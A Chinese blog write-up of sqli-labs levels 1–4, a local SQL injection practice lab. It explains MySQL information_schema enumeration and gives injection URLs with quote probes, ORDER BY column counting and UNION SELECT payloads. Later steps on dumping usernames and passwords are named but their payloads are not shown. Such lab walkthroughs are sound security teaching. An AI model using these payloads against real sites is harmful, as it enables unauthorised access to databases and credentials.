SQL注入--sqli-labs（1-4关）

Posted 2021-03-13 mxm$

mysql的基本用法：

　　查库：select schema_name from information_schema.schemata  等同于 show databases

　　查表：select table_name from information_schema.tables where table_schema=\'\'   等同于 show tables

　　查列：select column_name from information_schema.columns where table_name=\'\'  

　　查字段：select id,username,password from security.users  查询出security中的users表中的id、username和password

　　information_schema，系统数据库，包含所有数据库相关信息。

　　information_schema.schemata中schema_name，字段为所有数据库名称。

　　information_schema.tables中tables_name列对应数据库所有表名，其中table_schema列是所有数据库名。

　　information_schema.columns中，columns_name对应所有列名，其中table_schema也对应所有数据库名，table_name列也对应所有表名。

知识点：

　　在mysql数据库中，单行注释有#和--。在URL中，如果在最后加上--，浏览器在发送请求时会把URL末尾的空格舍去，而用--+代替--，原因是+在URL被URL编码后会变成空格。

第一关（Less-1）：

　　1.根据题目提示，输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1，显示正常

　　2.加个单引号，http://127.0.0.1/sqli-labs-master/Less-1/?id=1\'，提示语句出错

　　3.输入注释符--+，http://127.0.0.1/sqli-labs-master/Less-1/?id=1\'--+，显示正常，可知是单引号字符型注入

　　4.使用order by查列数，输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1\' order by 3 --+，显示正常

　　输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1\' order by 4 --+ ，显示没有4列，故有3列

　　5.使用union参数进行联合查询注入，union前面的数据报错才能执行union后面的数据，因此将id=1改为id=-1开始进行注入

 　　如图所示，2，3为显示位，此时可在2或3的位置进行手注

　　6.注当前数据库名，输入http://127.0.0.1/sqli-labs-master/Less-1/?id=1\' union select 1，database（），3 --+

 　　7.注表名，

　　8.注某张表的字段，以user表为例

 　　9.注字段的值，以user表中的username字段为例

第二关（Less-2）：

　　1.根据题目提示，输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1，显示正常

　　2.加上单引号，输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1\'，发现报错，说明存在注入漏洞，错误原因存在单引号

　　3.去掉单引号，输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 --+，显示正常

　　4.输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 --+，显示Unknown column ‘4’，说明一共有三列

　　5.使用联合查询语句，查看有哪几个数据可以回显,输入?id=-1 union select 1,2,3 --+,如图所示，可知回显位置为第二和第三位

　　6.手动注入，爆出所有的数据库名

　　7.爆出security中的所有表名

　　8.爆出users表中的所有列名

 　　9.爆字段，爆出user表中username，password字段的所有列

第三关（Less-3）：

　　1.输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1，显示正常

　　2.加单引号，输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1\'，存在注入漏洞，错误提示多余一个单引号

　　3.再加上），输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1\'）--+，显示正常

　　4.查看有多少列，输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1\') order by 3 --+，显示正常，存在三列

　　5.再输入 http://127.0.0.1/sqli-labs-master/Less-3/?id=1\') order by 4 --+，提示没有四列，则只有三列

　　6.使用联合查询语句，查询回显位置，输入http://127.0.0.1/sqli-labs-master/Less-3/?id=-1\') union select 1,2,3  --+，如图，回显位置为2，3

　　7.手动注入，爆出所有数据库名

　　8.爆出security库中的所有表名

　　9.爆出users表中所有的列信息

　　10.爆字段，爆出users表中username，password列的所有信息

第四关（Less-4）：

　　1.根据提示输入id，输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1，显示正常

　　2.加单引号，进行报错测试，输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1\'，没有显示任何的报错信息

　　3.加双引号进行测试，输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1"，出现报错，显示多出一个双引号

　　4.根据提示信息，输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") --+,显示正常

　　5.查询有多少列，输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 3 --+，显示正常，说明有三列

　　6.再次输入 http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4 --+，根据错误提示可知，不存在四列，故有三列

　　7.联合查询，查询出回显位置，如图可知，回显位置为2，3

　　8.爆出所有数据库名

　　9.爆出security库中的所有表信息

　　10.爆出users表中的所有列信息

　　11.爆出users表中username，password列的所有信息